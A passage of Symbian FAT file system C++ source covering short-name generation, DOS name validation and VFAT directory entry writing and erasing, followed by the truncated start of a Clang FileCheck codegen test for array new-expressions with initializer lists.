for (TInt i=LongNameLen-1; i>=0; --i) // iterate backwards as aLongName may change length during the loop, and also because we want to leave the *right-most* occurrence of KExtDelimiter unchanged
{
TUint character=aLongName[i];
if (character==(TUint)KExtDelimiter)
{
if (alreadyFoundExtensionDelimiter)
{
aLongName[i]=(TText)aCharacterToReplaceWith; // A.B.C becomes A_B.C
}
alreadyFoundExtensionDelimiter=ETrue;
}
else
{
// the code below doesn't need any #if defined(_UNICODE) stuff as a narrow-build aLongName would not contain values above 0xff (which is well below the surrogates area in Unicode 0xd800-0xdfff)
TBool isSurrogatePair=EFalse;
// LAST character in file name or file ext CAN NOT be HIGH surrogate
if (i==LongNameLen-1 || i==extDelimiterIndex-1)
{
if (IsHighSurrogate((TText16)character))
{
// Corrupt surrogate
User::Leave(KErrBadName);
}
}
// FIRST character in file name or file ext CAN NOT be LOW surrogate
if (i==0 || i==extDelimiterIndex+1)
{
if (IsLowSurrogate((TText16)character))
{
// Corrupt surrogate
User::Leave(KErrBadName);
}
}
// if LOW Surrogate
if (IsLowSurrogate((TText16)character))
{
// check for HIGH surrogate
if (!IsHighSurrogate(aLongName[--i]))
{
// Corrupt surrogate
User::Leave(KErrBadName);
}
// surrogate pair found
character&=~0xdc00;
character|=((aLongName[i]&~0xd800)<<10);
character+=0x00010000; // this must be added - it cannot be bitwise-"or"-ed
isSurrogatePair=ETrue;
}
// if High Surrogate
if (!isSurrogatePair && IsHighSurrogate((TText16)character))
{
// Corrupt surrogate
User::Leave(KErrBadName);
}
if (!IsLegalChar(character, EFalse))
{
if (isSurrogatePair)
{
aLongName.Delete(i+1, 1);
}
aLongName[i]=(TText)aCharacterToReplaceWith;
}
}
}
}
//-----------------------------------------------------------------------------
/**
Create a legal shortname from aLongName
*/
TShortName DoGenerateShortNameL(const TDesC& aLongName,TInt& aNum,TBool aUseTildeSelectively)
{
TFileName longName(aLongName);
longName.UpperCase();
ReplaceIllegalCharactersL(longName, '_');
TPtrC longNameWithoutExtension(longName);
TPtrC longNameExtension(KNullDesC);
const TInt positionOfExtension=longName.LocateReverse(KExtDelimiter);
if (positionOfExtension==0)
{
// No filename specified, so use the extension as the basis of the shortname.
// Make sure we always append a tilde+number in this case to avoid generating the same
// short filename as one of the protected folders ("\SYS", "\RESOURCE","\PRIVATE")
longNameWithoutExtension.Set(longName.Mid(positionOfExtension+1));
aUseTildeSelectively = EFalse;
if (aNum < 0)
aNum = 1;
}
else if (positionOfExtension!=KErrNotFound)
{
longNameWithoutExtension.Set(longName.Left(positionOfExtension));
longNameExtension.Set(longName.Mid(positionOfExtension+1));
}
// Converts the original file name main part into 8-bit character string
TShortName tempShortName(0);
LocaleUtils::ConvertFromUnicodeL(tempShortName, longNameWithoutExtension);
const TInt originalNameLength = tempShortName.Length();
// Converts the original file name extension part into 8-bit character string
TShortName tempShortNameExt(0);
LocaleUtils::ConvertFromUnicodeL(tempShortNameExt, longNameExtension);
const TInt extensionNameLength = tempShortNameExt.Length();
// // const TInt extensionNameLength = tempShortNameExt.Length();
// Checks the length of both original file name main part and original file name extension part
if(aUseTildeSelectively)
{
// don't append ~<aNum>
if(originalNameLength<=KMaxLengthWithoutTilde && extensionNameLength<=KMaxFatFileNameExt)
aNum=-1;
}
// Applies tilde and number if necessary
TBuf8<5> tildeAndNumber;
if (aNum>=0)
{
tildeAndNumber.Append('~');
tildeAndNumber.AppendNumUC(aNum,EHex);
}
const TInt lengthOfTildeAndNumber=tildeAndNumber.Length();
// Creates actual shortname from longname of the original file
TShortName shortName(11);
#if defined(_DEBUG)
shortName.Fill(0x01); // fill shortName with garbage to ensure that every byte is written to by this function
#endif
// Fills the main part of the shortname of the original file
const TInt numberOfBytesFreeBeforeTilde=KMaxFatFileNameWithoutExt-lengthOfTildeAndNumber;
TPtr8 portionOfShortNameBeforeTilde((TUint8*)shortName.Ptr(), 0, numberOfBytesFreeBeforeTilde);
TInt lengthOfPortionOfShortNameBeforeTilde =
(originalNameLength < numberOfBytesFreeBeforeTilde) ? originalNameLength : numberOfBytesFreeBeforeTilde;
portionOfShortNameBeforeTilde.Copy((TUint8*)tempShortName.Ptr(), lengthOfPortionOfShortNameBeforeTilde);
if( lengthOfPortionOfShortNameBeforeTilde != originalNameLength)
{
for( int i = 0; i<lengthOfPortionOfShortNameBeforeTilde; i++)
{
if(portionOfShortNameBeforeTilde[i] >= 0x80) //leading byte found
{
if( i == lengthOfPortionOfShortNameBeforeTilde - 1) //leading byte found on the edge
{
lengthOfPortionOfShortNameBeforeTilde -= 1;
break;
}
else
{
i++;
}
}
}
}
Mem::Copy(((TUint8*)shortName.Ptr())+lengthOfPortionOfShortNameBeforeTilde, tildeAndNumber.Ptr(), lengthOfTildeAndNumber);
TInt i;
for (i=lengthOfPortionOfShortNameBeforeTilde+lengthOfTildeAndNumber; i<KMaxFatFileNameWithoutExt; ++i)
{
shortName[i]=' ';
}
// Fills the extension part of the shortname of the original file
TInt lengthOfExt =
(extensionNameLength < KMaxFatFileNameExt) ? extensionNameLength : KMaxFatFileNameExt;
if( lengthOfExt != extensionNameLength)
{
for( int i = 0; i<lengthOfExt; i++)
{
if(tempShortNameExt[i] >= 0x80)
{
if( i == lengthOfExt - 1)
{
lengthOfExt -= 1;
break;
}
else
{
i++;
}
}
}
}
Mem::Copy(((TUint8*)shortName.Ptr()) + KMaxFatFileNameWithoutExt, tempShortNameExt.Ptr(), lengthOfExt);
for (i = KMaxFatFileNameWithoutExt + lengthOfExt; i<KMaxFatFileNameWithoutExt+KMaxFatFileNameExt; ++i)
{
shortName[i]=' ';
}
ReplaceFirstCharacterIfClashesWithE5L(shortName);
return shortName;
}
//-----------------------------------------------------------------------------
/**
Check whether a Dos name is legal or not.
@param aName The entry name to be analysed (may be represented as TDes16& or TDes8&)
@param anAllowWildCards Flag to indicate whether to allow wildcards in name or not
@param aUseExtendedChars Flag to indicate if extended characters are allowed
@param aInScanDrive Flag to indicate whether called when scanning drive
@param aAllowLowerCase ETrue to allow lower case in the analysed DOS name
@return ETrue if the name is a legal DOS one.
*/
static TBool DoCheckLegalDosName(const TDesC& aName, TBool anAllowWildCards, TBool aUseExtendedChars, TBool aInScanDrive, TBool aAllowLowerCase, TBool aIsForFileCreation)
{
const TInt count=aName.Length();
if (count==0)
return EFalse;
TInt valid=0;
TInt i=0;
//-- check the entry name
while (i<count)
{
TChar c=aName[i++];
if (c==KExtDelimiter)
{
// DOS entry names must contain at least one valid character before the extension
if (i == 1)
return EFalse;
break;
}
if(!aAllowLowerCase && c.IsLower())
return EFalse; //-- low case is not allowed
if (!IsLegalChar(c,anAllowWildCards,aUseExtendedChars,aInScanDrive))
{
return EFalse;
}
if (aIsForFileCreation)
{
if ((aUseExtendedChars && (TUint) c > KExtendedCharEnd) ||
(!aUseExtendedChars && (TUint) c > KExtendedCharStart))
{
return EFalse;
}
}
if (c!=KMatchAny)
if (++valid>KMaxFatFileNameWithoutExt)
return EFalse;
}
//-- check entry extension
valid=0;
while (i<count)
{
TChar c=aName[i++];
if (c==KExtDelimiter)
return EFalse;
if(!aAllowLowerCase && c.IsLower())
return EFalse; //-- low case is not allowed
if (!IsLegalChar(c,anAllowWildCards,aUseExtendedChars,aInScanDrive))
return EFalse;
if (aIsForFileCreation)
{
if ((aUseExtendedChars && (TUint) c > KExtendedCharEnd) ||
(!aUseExtendedChars && (TUint) c > KExtendedCharStart))
{
return EFalse;
}
}
if (c!=KMatchAny)
if (++valid>KMaxFatFileNameExt)
return EFalse;
}
// Unicode file name checking for file opening.
if (!aIsForFileCreation && GetFatUtilityFunctions())
{
TBuf8<KMaxFileName*2> convertedName8;
TRAPD(err, LocaleUtils::ConvertFromUnicodeL(convertedName8, aName, TFatUtilityFunctions::EOverflowActionLeave));
if (err != KErrNone)
return EFalse;
const TInt len8 = convertedName8.Length();
TInt j = 0;
TInt nonWildChar = 0;
while (j < len8)
{
const TUint8 c8 = convertedName8[j++];
if (c8 == KExtDelimiter)
break;
if (c8 == '*' && !anAllowWildCards)
return EFalse;
if (c8 == '*' && anAllowWildCards)
continue;
if (++nonWildChar > KMaxFatFileNameWithoutExt)
return EFalse;
}
// check extension part
nonWildChar = 0;
while (j < len8)
{
const TUint8 c8 = convertedName8[j++];
if (c8 == KExtDelimiter)
return EFalse;
if (c8 == '*' && !anAllowWildCards)
return EFalse;
if (c8 == '*' && anAllowWildCards)
continue;
if (++nonWildChar > KMaxFatFileNameExt)
return EFalse;
}
}
return ETrue;
}
//-----------------------------------------------------------------------------
/**
Check whether a Dos name is legal or not. Unicode version
parameters and return value absolutely the same as in DoCheckLegalDosName()
*/
TBool IsLegalDosName(const TDesC16& aName, TBool anAllowWildCards, TBool aUseExtendedChars, TBool aInScanDrive, TBool aAllowLowerCase, TBool aIsForFileCreation)
{
//__PRINT(_L("IsLegalDosName 16"));
return DoCheckLegalDosName(aName, anAllowWildCards, aUseExtendedChars, aInScanDrive, aAllowLowerCase, aIsForFileCreation);
}
//-----------------------------------------------------------------------------
/**
Returns ETrue and the entryPos of aName if found or EFalse
*/
TBool CFatMountCB::FindShortNameL(const TShortName& aName,TEntryPos& anEntryPos)
{
__PRINT(_L("CFatMountCB::FindShortNameL"));
TFatDirEntry fatEntry;
TInt count=0;
FOREVER
{
count++;
ReadDirEntryL(anEntryPos,fatEntry);
MoveToDosEntryL(anEntryPos,fatEntry);
if (fatEntry.IsEndOfDirectory())
break;
if (IsRootDir(anEntryPos)&&(anEntryPos.iPos+StartOfRootDirInBytes()==(RootDirEnd()-KSizeOfFatDirEntry)))
if (fatEntry.IsErased())
break;//Allows maximum number of entries in root directory
if (fatEntry.Name()==aName)
return ETrue;
MoveToNextEntryL(anEntryPos);
if (IsRootDir(anEntryPos)&&(StartOfRootDirInBytes()+anEntryPos.iPos==RootDirEnd()))
break;//Allows maximum number of entries in root directory
}
return EFalse;
}
//-----------------------------------------------------------------------------
/**
Returns ETrue if aName is unique, EFalse if a matching name is found.
*/
TBool CFatMountCB::IsUniqueNameL(const TShortName& aName, TUint32 aDirCluster)
{
__PRINT(_L("CFatMountCB::IsUniqueNameL"));
TEntryPos entryPos(aDirCluster,0);
return ! FindShortNameL(aName,entryPos);
}
//-----------------------------------------------------------------------------
/**
A legal dos name has been typed that clashes with a computer generated shortname
Change the shortname to something else.
*/
void CFatMountCB::ReplaceClashingNameL(const TShortName& aNewName,const TEntryPos& anEntryPos)
{
__PRINT(_L("CFatMountCB::ReplaceClashingNameL"));
TFatDirEntry entry;
ReadDirEntryL(anEntryPos,entry);
__ASSERT_ALWAYS(entry.IsEndOfDirectory()==EFalse,User::Leave(KErrCorrupt));
entry.SetName(aNewName);
WriteDirEntryL(anEntryPos,entry);
// We now need to fix up VFAT entries with a new checksum reflecting new shortname
// Calculate new checksum
TUint8 checksum=CalculateShortNameCheckSum(aNewName);
// Now go back and adjust all VFAT entries corresponding to this shortname
TEntryPos entryPos=anEntryPos;
FOREVER
{
entryPos.iPos-=KSizeOfFatDirEntry;
ReadDirEntryL(entryPos,entry);
entry.iData[0x0D]=checksum;
if (entry.iData[0]&0x40)
break;
}
}
/**
Generate a legal dos filename as an alias for aName.
@return ETrue if aName is a legal dos name.
*/
TBool CFatMountCB::GenerateShortNameL(TUint32 aDirCluster,const TDesC& aName,TShortName& aGeneratedName, TBool aForceRandomize)
{
__PRINT1(_L("CFatMountCB::GenerateShortNameL() cl:%d"), aDirCluster);
if(!ClusterNumberValid(aDirCluster))
{
ASSERT(0);
User::Leave(KErrCorrupt);
}
// Given the long file-name "ABCDEFGHI.TXT", EPOC used to generate short
// file-names in the following pecking order:
// "ABCDEFGH.TXT",
// "ABCDEF~0.TXT",
// "ABCDEF~1.TXT",
// "ABCDEF~2.TXT",
// etc.
// Now, however, EPOC behaves in a more Windows-like manner and
// generates short file-names in this pecking order:
// "ABCDEF~1.TXT",
// "ABCDEF~2.TXT",
// "ABCDEF~3.TXT",
// "ABCDEF~4.TXT",
// After failing to find an unused short name 4 times in a row,
// a random number is used to speed up the process. So subsequent
// short-file names become
// "ABC~nnnn.TXT" where nnnn is a random number
//
TBool useTildeSelectively = ETrue;
TInt endNum = KMaxDuplicateShortName; // 0xFFFF
const TInt KMaxNonRandomShortFileNames = 4;
TInt i = 1;
TBool randomize = aForceRandomize;
if (randomize)
{
i = (TInt) (Math::Random() & KMaxDuplicateShortName);
endNum = (i - 1) & KMaxDuplicateShortName;
}
while(i != endNum)
{
aGeneratedName=DoGenerateShortNameL(aName,i,useTildeSelectively);
if (IsUniqueNameL(aGeneratedName,aDirCluster))
break;
if (i == KMaxNonRandomShortFileNames && !randomize)
{
randomize = ETrue;
i = (TInt) (Math::Random() & KMaxDuplicateShortName);
endNum = (i - 1) & KMaxDuplicateShortName;
}
else if (i == -1)
{
useTildeSelectively=EFalse;
i = 1;
}
else
i = (i + 1) & KMaxDuplicateShortName;
}
if (i == endNum)
User::Leave(KErrAlreadyExists);
if((i == -1) && IsLegalDosName(aName,EFalse,EFalse,EFalse,EFalse,ETrue))
{// Original file name is a legal 8.3 name
return ETrue;
}
return EFalse;
}
//-----------------------------------------------------------------------------
/**
Write up to KMaxVFatEntryName unicode chars from aName to the entry
@param aName long file name part that will be converted into the VFAT entryset
@param aLen length of the remaining name
@param aCheckSum DOS entry name checksum.
*/
void TFatDirEntry::SetVFatEntry(const TDesC& aName, TUint aLen, TUint8 aCheckSum)
{
//-- LFN in the last entry must be padded with FFs
Mem::Fill(iData,sizeof(iData),0xFF);
//-- initialise some VFAT entry specific fields
iData[0x0B]=0x0F;
iData[0x0C]=0x00; iData[0x0D]=aCheckSum;
iData[0x1A]=0x00; iData[0x1B]=0x00;
TInt rem=aName.Length()-aLen;
TPtrC section(aName.Ptr()+aLen,Min(rem,KMaxVFatEntryName));
TBuf16<KMaxVFatEntryName> buf16;
buf16.Copy(section);
if (rem<KMaxVFatEntryName)
{
rem++;
buf16.ZeroTerminate();
buf16.SetLength(rem); // Zero termination doesn't increase the buf length
}
TUint8 orderNo=(TUint8)(aLen/KMaxVFatEntryName+1);
TInt s=Min(rem,5);
Mem::Copy(&iData[0x01],buf16.Ptr(),s*2);//Copy up to 10 bytes of buf16 into iData
TInt offset=s;
rem-=s;
s=Min(rem,6);
Mem::Copy(&iData[0x0E],buf16.Ptr()+offset,s*2);
offset+=s;
rem-=s;
s=Min(rem,2);
Mem::Copy(&iData[0x1C],buf16.Ptr()+offset,s*2);
rem-=s;
if (rem==0)
orderNo|=0x40;
iData[0]=orderNo;
}
//-----------------------------------------------------------------------------
/**
Read KMaxVFatEntryName unicode chars from the entry
*/
void TFatDirEntry::ReadVFatEntry(TDes16& aBuf) const
{
aBuf.SetLength(KMaxVFatEntryName);
Mem::Copy(&aBuf[0],&iData[0x01],5*2);
Mem::Copy(&aBuf[5],&iData[0x0E],6*2);
Mem::Copy(&aBuf[11],&iData[0x1C],2*2);
}
//-----------------------------------------------------------------------------
/**
Write a VFAT directory entry set to disk at position aPos - leave aPos refering to the dos entry
Assumes sufficient space has been created for it by AddDirEntry.
For Rugged FAT mode bulk writing of the whole entryset is OK. If the entryset fits into media atomic write unit, the
write is transactional anyway. if the entryset is split between media atomic write units, the part of it with the DOS
entry is written last; if this write operation fails, the artifact would be just several orphaned VFAT entries;
@param aPos in: specifies the entryste start position. out: points to the last (DOS) entry in the created entryset
@param aFatDirEntry aDosEntry DOS entry
@param aLongName VFAT entry long name
*/
void CFatMountCB::WriteDirEntryL(TEntryPos& aPos, const TFatDirEntry& aDosEntry, const TDesC& aLongName)
{
__PRINT2(_L("CFatMountCB::WriteDirEntryL() cl:%d, pos:%d"), aPos.Cluster(), aPos.Pos());
__ASSERT_DEBUG(aLongName.Length(),Fault(EVFatNoLongName));
//-- scratch buffer for whole VFAT entryset. Max number of entries in it is 21 entry or 672 bytes.
//-- in the worst case the entryset can span across 3 clusters (512 bytes per cluster)
//-- Using the scratch buffer is not ideal, but write-back directory cache isn't in place yet
const TUint KBufSize = 680;
TUint8 scratchBuf[KBufSize];
const TUint8 cksum=CalculateShortNameCheckSum(aDosEntry.Name());
TUint numEntries=NumberOfVFatEntries(aLongName.Length())-1; // Excluding dos entry
ASSERT(KBufSize >= ((numEntries+1)<<KSizeOfFatDirEntryLog2));
TEntryPos startPos;
for(;;)
{
TInt posInBuf = 0;
startPos = aPos;
TBool movedCluster = EFalse;
TUint nRemLen = KMaxVFatEntryName*(numEntries-1);
while(numEntries)
{
TFatDirEntry* pEntry = (TFatDirEntry*)(&scratchBuf[posInBuf]);
pEntry->SetVFatEntry(aLongName, nRemLen, cksum);
posInBuf += KSizeOfFatDirEntry;
MoveToNextEntryL(aPos);
numEntries--;
movedCluster = (startPos.Cluster() != aPos.Cluster()); //-- if moved to another cluser, need to flush buffer
if(!numEntries || movedCluster)
break; //-- VFAT entryset is completed
ASSERT(nRemLen >= (TUint)KMaxVFatEntryName);
nRemLen -= KMaxVFatEntryName;
}
if(movedCluster)
{
DirWriteL(startPos, TPtrC8(&scratchBuf[0], posInBuf));
continue;
}
if(!numEntries)
{//-- need to append DOS entry
Mem::Copy(&scratchBuf[posInBuf], &aDosEntry, KSizeOfFatDirEntry);
posInBuf+= KSizeOfFatDirEntry;
DirWriteL(startPos, TPtrC8(&scratchBuf[0], posInBuf));
break;
}
}//for(;;)
}
//---------------------------------------------------------------------------------
void CFatMountCB::DoEraseEntrySetChunkL(const TEntrySetChunkInfo& aEntrySetChunk)
{
//-- scratch buffer for whole VFAT entryset. Max number of entries in it is 21 entry or 672 bytes.
//-- in the worst case the entryset can span across 3 clusters (512 bytes per cluster)
//-- Using the scratch buffer is not ideal, but write-back directory cache isn't in place yet
const TUint KBufSize = 680;
TBuf8<KBufSize> scratchBuf;
TUint numEntries = aEntrySetChunk.iNumEntries;
ASSERT(numEntries >0 && numEntries <= KMaxVFatEntries);
const TUint32 KChunkLen = numEntries << KSizeOfFatDirEntryLog2;
DirReadL(aEntrySetChunk.iEntryPos, KChunkLen, scratchBuf);
TInt posInBuf = 0;
while (numEntries--)
{
TFatDirEntry* pEntry = (TFatDirEntry*)(scratchBuf.Ptr()+posInBuf);
pEntry->SetErased();
posInBuf += KSizeOfFatDirEntry;
}
DirWriteL(aEntrySetChunk.iEntryPos, scratchBuf);
}
//---------------------------------------------------------------------------------
/**
Erase whole VFAT entryset.
For Rugged FAT the situation is more complicated: we need firstly delete the DOS entry _atomically_ i.e. if this operation fails,
the whole VFAT entryset won't be broken. Deleting VFAT entries doesn't require the atomic media writes; DOS entry contains necessary
information about data stream.
@param aPos position of the entryset start in the directory.
@param aFirstEntry first entry in the entryset, it can be DOS entry
*/
void CFatMountCB::EraseDirEntryL(TEntryPos aPos,const TFatDirEntry& aFirstEntry)
{
__PRINT2(_L("CFatMountCB::EraseDirEntryL() cl:%d, offset:%d"), aPos.Cluster(), aPos.Pos());
TUint numEntries=0;
if (aFirstEntry.IsVFatEntry())
{
numEntries=aFirstEntry.NumFollowing();
numEntries++; //-- take into account the last DOS entry
}
else
{//-- we are deleting a single DOS entry. This is an atomic operation.
EraseDirEntryL(aPos);
return;
}
ASSERT(numEntries > 1 && numEntries <= KMaxVFatEntries);
TEntrySetChunkInfo chunksInfo[TEntrySetChunkInfo::KMaxChunks];
//-- 1. check if the entryset fits into a unit of write ganularity. This will be 1 sector for rugged FAT or 1 cluster otherwise
TUint32 MaxWriteGranularityLog2;
if(IsRuggedFSys())
{
MaxWriteGranularityLog2 = AtomicWriteGranularityLog2();
}
else if(IsRootDir(aPos))
{//-- root dir. for FAT12/16 is a special case, it is not made of clusters. it's unit is 1 sector.
MaxWriteGranularityLog2 = KDefSectorSzLog2;
}
else
{//-- minimal unit size will be a cluster
MaxWriteGranularityLog2 = ClusterSizeLog2();
}
{
const TUint64 KEntrySetStartPos = MakeLinAddrL(aPos);
const TUint64 KEntrySetLogicalEndPos = KEntrySetStartPos + (numEntries << KSizeOfFatDirEntryLog2);
const TUint64 KBlockEndPos = ((KEntrySetLogicalEndPos-1) >> MaxWriteGranularityLog2) << MaxWriteGranularityLog2;
const TUint64 KBlockStartPos = (KEntrySetStartPos >> MaxWriteGranularityLog2) << MaxWriteGranularityLog2;
if(KBlockEndPos == KBlockStartPos)
{//-- whole entryet is in the same block; the whole entryset erase operation will be atomic for Rugged/non-rugged FAT
chunksInfo[0].iEntryPos = aPos;
chunksInfo[0].iNumEntries = numEntries;
DoEraseEntrySetChunkL(chunksInfo[0]);
return;
}
}
//-- the entryset is split on max. 3 parts between units of write granularity (see MaxWriteGranularityLog2).
ASSERT(numEntries > 1 && numEntries <= KMaxVFatEntries);
TInt cntChunk = 1; //-- there is at least 1 entries chunk
TEntrySetChunkInfo* pChunkInfo = chunksInfo;
//-- collect information about dir. entry chunks that reside in different units of write granularity
for(;;)
{
TBool movedUnit = EFalse;
pChunkInfo->iEntryPos = aPos;
pChunkInfo->iNumEntries = 0;
const TUint64 KChunkStartPos = MakeLinAddrL(aPos);
const TUint64 KChunkBlockStartPos = (KChunkStartPos >> MaxWriteGranularityLog2) << MaxWriteGranularityLog2;
const TUint64 KChunkBlockEndPos = (KChunkBlockStartPos-1) + (1<<MaxWriteGranularityLog2);
while(numEntries)
{
pChunkInfo->iNumEntries++;
MoveToNextEntryL(aPos);
numEntries--;
const TUint64 currPos = MakeLinAddrL(aPos);
movedUnit = !(currPos >= KChunkBlockStartPos && currPos <= KChunkBlockEndPos);
if(!numEntries || movedUnit)
{
break;
}
}
if(movedUnit && numEntries)
{//-- move to the next unit of write granularity
++pChunkInfo;
++cntChunk;
ASSERT(cntChunk <= TEntrySetChunkInfo::KMaxChunks);
continue;
}
ASSERT(!numEntries);
break;
}
//-- now do bulk deletion, write data based on collected entries chunks.
ASSERT(cntChunk > 0);
//-- if it is a rugged FAT, we need to delete DOS entry first; it will be in the last chunk.
if(IsRuggedFSys())
{
const TInt dosEntryChunk = cntChunk-1;
DoEraseEntrySetChunkL(chunksInfo[dosEntryChunk]);
cntChunk--;
}
//-- it is also possible to joint entryset chunks together here if they belong to the same cluster.
//-- the atomic write here is not required.
//-- erase the rest of entries in reamining chunks.
for(TInt i=0; i<cntChunk; ++i)
{
DoEraseEntrySetChunkL(chunksInfo[i]);
}
}
//---------------------------------------------------------------------------------
/**
Convert the volume label using the algorithm specified in the current locale-DLL.
*/
void LocaleUtils::ConvertFromUnicodeL(TDes8& aForeign, const TDesC16& aUnicode, TFatUtilityFunctions::TOverflowAction aOverflowAction)
{
if(aOverflowAction == TFatUtilityFunctions::EOverflowActionLeave)
{
GetCodePage().ConvertFromUnicodeL(aForeign, aUnicode, TCodePageUtils::EOverflowActionLeave);
}
else
{
GetCodePage().ConvertFromUnicodeL(aForeign, aUnicode, TCodePageUtils::EOverflowActionTruncate);
}
}
//---------------------------------------------------------------------------------
/**
Convert the volume label using the algorithm specified in the current locale-DLL.
*/
void LocaleUtils::ConvertToUnicodeL(TDes16& aUnicode, const TDesC8& aForeign, TFatUtilityFunctions::TOverflowAction aOverflowAction)
{
if(aOverflowAction == TFatUtilityFunctions::EOverflowActionLeave)
{
GetCodePage().ConvertToUnicodeL(aUnicode, aForeign, TCodePageUtils::EOverflowActionLeave);
}
else
{
GetCodePage().ConvertToUnicodeL(aUnicode, aForeign, TCodePageUtils::EOverflowActionTruncate);
}
}
//---------------------------------------------------------------------------------
/**
Convert the volume label using the algorithm specified in the current locale-DLL.
*/
TBool LocaleUtils::IsLegalShortNameCharacter(TUint aCharacter,TBool aUseExtendedChars)
{
return GetCodePage().IsLegalShortNameCharacter(aCharacter, aUseExtendedChars);
}
|
{
"pile_set_name": "Github"
}
|
// RUN: %clang_cc1 -std=c++11 -triple i386-unknown-unknown %s -emit-llvm -o - | FileCheck %s
// RUN: %clang_cc1 -std=c++11 -triple i386-unknown-unknown %s -emit-llvm -fsanitize=signed-integer-overflow -o - | FileCheck --check-prefix=SIO %s
// CHECK: @[[ABC4:.*]] = {{.*}} constant [4 x i8] c"abc\00"
// CHECK: @[[ABC15:.*]] = {{.*}} constant [15 x i8] c"abc\00\00\00\00
// CHECK-LABEL: define void @_Z2fni
void fn(int n) {
// CHECK: icmp ult i{{32|64}} %{{[^ ]+}}, 3
// CHECK: store i32 1
// CHECK: store i32 2
// CHECK: store i32 3
// CHECK: sub {{.*}}, 12
// CHECK: call void @llvm.memset
new int[n] { 1, 2, 3 };
}
// CHECK-LABEL: define void @_Z11const_exactv
void const_exact() {
// CHECK-NOT: icmp ult i{{32|64}} %{{[^ ]+}}, 3
// CHECK-NOT: icmp eq i32*
new int[3] { 1, 2, 3 };
}
// CHECK-LABEL: define void @_Z16const_sufficientv
void const_sufficient() {
// CHECK-NOT: icmp ult i{{32|64}} %{{[^ ]+}}, 3
new int[4] { 1, 2, 3 };
// CHECK: ret void
}
// CHECK-LABEL: define void @_Z22check_array_value_initv
void check_array_value_init() {
struct S;
new (int S::*[3][4][5]) ();
// CHECK: call i8* @_Zna{{.}}(i{{32 240|64 480}})
// CHECK: getelementptr inbounds i{{32|64}}, i{{32|64}}* {{.*}}, i{{32|64}} 60
// CHECK: phi
// CHECK: store i{{32|64}} -1,
// CHECK: getelementptr inbounds i{{32|64}}, i{{32|64}}* {{.*}}, i{{32|64}} 1
// CHECK: icmp eq
// CHECK: br i1
}
// CHECK-LABEL: define void @_Z15string_nonconsti
void string_nonconst(int n) {
// CHECK: icmp slt i{{32|64}} %{{[^ ]+}}, 4
// FIXME: Conditionally throw an exception rather than passing -1 to alloc function
// CHECK: select
// CHECK: %[[PTR:.*]] = call i8* @_Zna{{.}}(i{{32|64}}
// CHECK: call void @llvm.memcpy{{.*}}(i8* align {{[0-9]+}} %[[PTR]], i8* align {{[0-9]+}} getelementptr inbounds ([4 x i8], [4 x i8]* @[[ABC4]], i32 0, i32 0), i32 4,
// CHECK: %[[REST:.*]] = getelementptr inbounds i8, i8* %[[PTR]], i32 4
// CHECK: %[[RESTSIZE:.*]] = sub {{.*}}, 4
// CHECK: call void @llvm.memset{{.*}}(i8* align {{[0-9]+}} %[[REST]], i8 0, i{{32|64}} %[[RESTSIZE]],
new char[n] { "abc" };
}
// CHECK-LABEL: define void @_Z12string_exactv
void string_exact() {
// CHECK-NOT: icmp
// CHECK: %[[PTR:.*]] = call i8* @_Zna{{.}}(i{{32|64}} 4)
// CHECK: call void @llvm.memcpy{{.*}}(i8* align {{[0-9]+}} %[[PTR]], i8* align {{[0-9]+}} getelementptr inbounds ([4 x i8], [4 x i8]* @[[ABC4]], i32 0, i32 0), i32 4,
// CHECK-NOT: memset
new char[4] { "abc" };
}
// CHECK-LABEL: define void @_Z17string_sufficientv
void string_sufficient() {
// CHECK-NOT: icmp
// CHECK: %[[PTR:.*]] = call i8* @_Zna{{.}}(i{{32|64}} 15)
// FIXME: For very large arrays, it would be preferable to emit a small copy and a memset.
// CHECK: call void @llvm.memcpy{{.*}}(i8* align {{[0-9]+}} %[[PTR]], i8* align {{[0-9]+}} getelementptr inbounds ([15 x i8], [15 x i8]* @[[ABC15]], i32 0, i32 0), i32 15,
// CHECK-NOT: memset
new char[15] { "abc" };
}
// CHECK-LABEL: define void @_Z10aggr_exactv
void aggr_exact() {
// CHECK-NOT: icmp
// CHECK: %[[MEM:.*]] = call i8* @_Zna{{.}}(i{{32|64}} 16)
// CHECK: %[[PTR0:.*]] = bitcast i8* %[[MEM]] to %[[AGGR:.*]]*
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR0]], i32 0, i32 0{{$}}
// CHECK: store i32 1, i32* %[[FIELD]]
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR0]], i32 0, i32 1{{$}}
// CHECK: store i32 2, i32* %[[FIELD]]
// CHECK: %[[PTR1:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR0]], i32 1{{$}}
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR1]], i32 0, i32 0{{$}}
// CHECK: store i32 3, i32* %[[FIELD]]
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR1]], i32 0, i32 1{{$}}
// CHECK: store i32 0, i32* %[[FIELD]]
// CHECK-NOT: store
// CHECK-NOT: memset
struct Aggr { int a, b; };
new Aggr[2] { 1, 2, 3 };
}
// CHECK-LABEL: define void @_Z15aggr_sufficienti
void aggr_sufficient(int n) {
// CHECK: icmp ult i32 %{{.*}}, 2
// CHECK: %[[MEM:.*]] = call i8* @_Zna{{.}}(
// CHECK: %[[PTR0:.*]] = bitcast i8* %[[MEM]] to %[[AGGR:.*]]*
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR0]], i32 0, i32 0{{$}}
// CHECK: store i32 1, i32* %[[FIELD]]
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR0]], i32 0, i32 1{{$}}
// CHECK: store i32 2, i32* %[[FIELD]]
// CHECK: %[[PTR1:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR0]], i32 1{{$}}
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR1]], i32 0, i32 0{{$}}
// CHECK: store i32 3, i32* %[[FIELD]]
// CHECK: %[[FIELD:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR1]], i32 0, i32 1{{$}}
// CHECK: store i32 0, i32* %[[FIELD]]
// CHECK: %[[PTR2:.*]] = getelementptr inbounds %[[AGGR]], %[[AGGR]]* %[[PTR1]], i32 1{{$}}
